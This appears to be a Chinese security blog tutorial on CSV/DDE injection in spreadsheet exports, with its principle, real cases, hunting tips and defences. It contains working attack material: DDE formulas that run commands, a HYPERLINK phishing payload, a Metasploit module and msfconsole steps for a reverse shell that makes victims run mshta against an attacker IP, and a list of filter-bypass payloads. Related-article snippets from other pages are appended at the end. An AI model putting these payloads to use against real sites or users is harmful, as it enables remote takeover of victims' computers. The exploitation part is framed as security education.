文章目录

  • 漏洞简介
  • 漏洞原理
  • 漏洞利用
    • 命令执行
    • 钓鱼攻击
    • 反弹shell
  • 漏洞实例
    • Twitter网站
    • Hackerone
  • 漏洞挖掘
  • 漏洞防御

漏洞简介

CSV 注入(CSV Injection)漏洞通常会出现在有导出文件 (.csv/.xls) 功能的网站中。当导出的文件内容可控时,攻击者通常将恶意负载(公式)注入到输入字段中,用户导出文件打开后,EXCEL 会调用本身的动态功能,执行攻击者的恶意代码,从而控制用户计算机。

漏洞原理

人们通常认为 CSV 或 xls 文件中包含的文本不会有任何安全风险,这是比较大的一个误区。

创建一个 Excel 文件,将其中一格内容修改为 =10+20,保存之后看到如下结果:

可以看到值变成了30,说明加号被当做运算执行了(由于第一个字符是=,它以一个表达式的形式被处理)。当然,不止是+号能执行运算,=、-、@这样的符号也会被 excel 解析为公式。

DDE(Dynamic Data Exchange)

DDE 是 Windows 下进程间通信协议,是一种动态数据交换机制,使用 DDE 通讯需要两个 Windows 应用程序,其中一个作为服务器处理信息,另外一个作为客户机从服务器获得信息。DDE 支持 Microsoft Excel,LibreOffice 和 Apache OpenOffice。 Excel、Word、Rtf、Outlook 都可以使用这种机制,根据外部应用的处理结果来更新内容。因此,如果我们制作包含 DDE 公式的 CSV 文件,那么在打开该文件时,Excel 就会尝试执行外部应用。

调用 DDE 需要在文件->选项->信任中心->信任中心设置->外部内容中开启:

默认不勾选 “启用动态数据交换服务器启动(不推荐)” 选项即可防止 DDE 启动外部应用。较老的版本如 office 2016 MSO(16.0.4266.1001)无该选项,因此无法禁止执行外部程序。

漏洞利用

命令执行

由于表达式就是可以执行的代码,所以假如我们把输入内容修改为:

=1+cmd|' /C calc'!A0

点击保存,然后再次打开 excel 文件,会看到如下提示:

点击更新,新的弹窗提醒继续点“是”:

此时即可看到命令被执行,成功调起本地计算机程序:

结合上述知识,CSV 注入漏洞的攻击路线就很清晰了:

业务系统接受用户输入并导出为 CSV ——> 恶意用户通过界面输入 Payload——> 受害者下载文件并在PC运行 ——> 受害者PC被攻击。

因此 DDE 注入攻击是一种攻击源来自网站,但最终目标是普通用户 PC 的一种攻击。

钓鱼攻击

如果在表格中插入的是如下 Payload:

=HYPERLINK("https://tr0e.github.io/","优惠券领取!")

用户点击链接时,系统会调用浏览器访问这个网站。

这个看着虽然有点鸡助(需要受害者手动点击链接),但这个公式不会触发警告。

反弹shell

攻击机 测试机
kali windows 10

Kali 上复制以下 ruby 代码到 /usr/share/metasploit-framework/modules/exploits/windows/smb/msh_shell.rb 目录:

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##class MetasploitModule  < Msf::Exploit::RemoteRank = NormalRankinginclude Msf::Exploit::Remote::HttpServerdef initialize(info  = {})super(update_info(info,'Name' => 'Microsoft Office Payload Delivery','Description' => %q{This module generates an command to place withina word document, that when executed, will retrieve a HTA payloadvia HTTP from an web server. Currently have not figured out howto generate a doc.},'License' => MSF_LICENSE,'Arch' => ARCH_X86,'Platform' => 'win','Targets' =>[['Automatic', {} ],],'DefaultTarget' => 0,))enddef on_request_uri(cli, _request)print_status("Delivering payload")p = regenerate_payload(cli)data = Msf::Util::EXE.to_executable_fmt(framework,ARCH_X86,'win',p.encoded,'hta-psh',{ :arch => ARCH_X86, :platform => 'win '})send_response(cli, data, 'Content-Type' => 'application/hta')enddef primerurl = get_uriprint_status("Place the following DDE in an MS document:")print_line("mshta.exe \"#{url}\"")end
end

接下来在 Kali 执行以下操作:

#打开pg数据库:
service postgresql start
#启动msf:
msfconsole

msfconsole 操作:

#重置数据库
reload_all
#查询新建msh_shell模块
search msh_shell
#加载 msh_shell模块
use exploit/windows/smb/msh_shell
#设置监听payload,设置ip等
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.206.128
set uripath csv
exploit

最后在 Win10 上新建一个 Excel 表格,将以下 Payload 插入单元格:

+1+cmd|'/c mshta.exe http://192.168.206.128:8080/csv'!A0

如下图:

保存后重新打开表格,主机成功上线:

漏洞实例

CSV 注入漏洞相关的 CVE 漏洞:CVE-2018-10504、CVE-2019-15092。

Twitter网站

Twitter 导出数据处存在 DDE 注入。Twitter 用户发帖,输入:

界面导出数据处,导出 csv 文件并在 Excel 中查看:

若输入Payload:=1+cmd|' /C calc'!A0再次执行,弹出计算器。

Hackerone

Hackerone 报告导出处存在 CSV 注入漏洞

这是对于 Hackerone 过滤的一个绕过,网站后台对于等号=之前新增单引号以防止公式执行。但在报告导出功能处参数 title 输入%0A-2+3+cmd|' /C calc'!D2

%0A被解析为换行符,使得 Payload 正常执行:

Hackerone 过滤绕过

这是对后台过滤的第二次绕过,在等号前加一个分号可绕过;=cmd|' /C calc'!A0

Excel 识别并解析分隔符,将数据拆分并执行:

漏洞挖掘

漏洞挖掘思路

此漏洞特征较明显,因此思路简单:

  1. 关注系统中是否有导出为 csv 或 xls 表格的功能,一般存在于信息统计,日志导出等功能处;
  2. 确定导出的内容是否用户可控:可能在界面可直接进行编辑/新增;通过数据篡改/HPP/追踪数据源等方式看是否可以控制输入;
  3. 输入处写入测试脚本=1+1,导出后查看表格内容是否解析;
  4. 存在过滤,尝试绕过,最后进行 OS 执行等深入利用。

漏洞防御的绕过技巧

根据案例和挖掘经验,总结常用的绕过 Payload 有:

1、在等于号被过滤时,可以通过运算符+-的方式绕过;

-3+2+cmd |’ /C calc’ !A0

2、参数处输入以下 Payload,%0A被解析,从而后面的数据跳转到下一行:

%0A-3+3+cmd|' /C calc'!D2

3、导出文件为 csv 时,若系统在等号=前加了引号过滤,则可以使用分号绕过,分号可分离前后两部分内容使其分别执行:

;-3+3+cmd|' /C calc'!D2

4、其他常用 Payload:

@SUM(cmd|'/c calc'!A0)
=HYPERLINK("https://evil.com")

漏洞防御

这种攻击很难缓解,并且从许多漏洞赏金计划中都明确禁止了这种攻击。要对其进行修复,请确保没有任何单元格以下列任何字符开头:

等于(“ =”)
加号(“ +”)
减号(“-”)
在 (”@”)

开发人员可以在包含此类字符的单元格的开头添加撇号(),添加撇号()会告诉 excel 该单元格不包含公式。

相对完整的防御措施如下:

1)一般的防御手段为:在生成电子表格时,以任何危险符号开头的字段应该以单引号、撇号(')字符或空格作为前缀,确保单元格不被解释为公式,但存在可能被绕过的风险;

2)更好的防御手段为,根据业务需求控制用户输入为字母数字字符,或黑名单过滤=或-号开头的单元格数据,过滤=(-)cmd或=(-)HYPERLINK或concat等。

Web安全-浅析CSV注入漏洞的原理及利用相关推荐

  1. Web安全之Sql注入漏洞

    Sql注入漏洞 SQL注入漏洞主要形成的原因是在数据交互中,前端的数据传入到后台处理时,没有做严格的判断,导致其传入的"数据"拼接到SQL语句中后,被当作SQL语句的一部分执行. ...

  2. mysql注入漏洞语句,web安全之sql注入漏洞

    概念 通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令.通俗地讲,它是利用现有应用程序,将(恶意)的SQL命令注入到后台数据库引擎执行的能力 ...

  3. SQL注入漏洞(原理;网页注入)

    SQL注入漏洞 一.SQL的注入 SQL注入攻击是黑客对数据库进行攻击的常用手段之一.随着B/S模式应用开发的发展,使用这种模式编写应用程序的程序员也越来越多.但是由于程序员的水平及经验也参差不齐,相 ...

  4. Web安全之SQL注入漏洞学习(一)

    Web程序三层架构 三层架构主要是指将业务应用规划为的表示层 UI.数据访问层 DAL 以及业务逻辑层 BLL,其分层的核心任务是"高内聚低耦合"的实现.在软件体系架构设计中,分层 ...

  5. 【web安全】SQL注入漏洞1--寻找SQL注入

    引言 我们在做web应用的时候,经常会根据前台的请求,到后台查询数据.由于前台用户输入的请求是不可信任的, 我们在代码里,如果直接将前台传过来的数据拼接到sql语句中,那么用户就可以构造非法的SQL语 ...

  6. Web安全之SQL注入漏洞学习(七)-堆叠注入

    堆叠注入简介 堆叠注入是指注入的多条SQL语句可以一起执行.MySQL命令行中, 每一条语句结尾加; 表示语句结束.这样是不是可以多句一起使用.这个叫做 stacked injection. 堆叠注入 ...

  7. PHP 绕过禁用函数漏洞的原理与利用分析

     聚焦源代码安全,网罗国内外最新资讯! 漏洞简介 PHP 发布公告,旧版本的 php_array_merge_recursive 函数中存在UAF风险,被利用可能导致用来绕过禁用函数. 受影响的版本 ...

  8. SQL注入漏洞(原理篇)

    SQL注入是我安全入门学的第一个漏洞,这个漏洞怎么说呢,前期的学习单单记住那几个payload知道如何查库.查表.查列.查字段就可以做题目了.没办法,初学者零基础就是这样,从记忆开始再到逐渐理解结束, ...

  9. web安全之XSS注入漏洞

    XSS攻击简介 XSS攻击通常指的是通过利用网页开发时留下的漏洞,通过巧妙的方法注入恶意指令代码到网页,使用户加载并执行攻击者恶意制造的网页程序.这些恶意网页程序通常是JavaScript,但实际上也 ...

最新文章

  1. 粒子滤波 应用_如何使用NativeScript开发粒子物联网应用
  2. Docker容器相关命令
  3. 全球及中国黑胡椒粉行业竞争规划与未来发展趋势预测报告2022-2028年版
  4. Swift中的延迟加载(懒加载)
  5. 大数据分析机器学习(三)之岭回归-医疗心率数据分析
  6. 悬浮球不用权限_Android 实现无需权限的悬浮球效果,可适配至Android 10
  7. Log4Net Layout使用以及扩展
  8. C++算法学习(力扣:328. 奇偶链表)
  9. 注册表添加 右键功能
  10. 射电天文偏振线的绘制
  11. 异步FIFO设计与实现及相关问题
  12. Spring核心包介绍
  13. C++ QQ游戏 连连看外挂 内存挂入门
  14. (最详细)红米手机4A的usb调试模式在哪里打开的教程
  15. 拼多多优惠券bug造成千万损失引发的优惠券安全思考
  16. 组件(component)技术介绍
  17. 电脑文件自动备份云服务器,百度云如何自动备份电脑文件 百度云自动备份电脑文件的方法...
  18. YTU OJ Problem 3013
  19. Android tts语音播报设置最大音量
  20. 制作二维码怎么做?手把手教你制作生成二维码

热门文章

  1. 梦想总是要有的 - 工作20年程序员的2021年度总结
  2. input的type属性
  3. 量子计算 9 量子力学与现实世界
  4. 风口之上,漩涡之中,区块链隐私数据生意的梦想与现实
  5. EXCEL:Excel2007中的数据分析工具在哪里?
  6. ProcessOn如何增加文件数
  7. 新寻仙最新服务器,寻仙合服查询系统
  8. rocketmq-spring-boot-starter之消费者消息确认
  9. windows10启动盘不能被识别,需要解开bios安全锁
  10. Halcon学习笔记(五)几何定位+仿射+车牌识别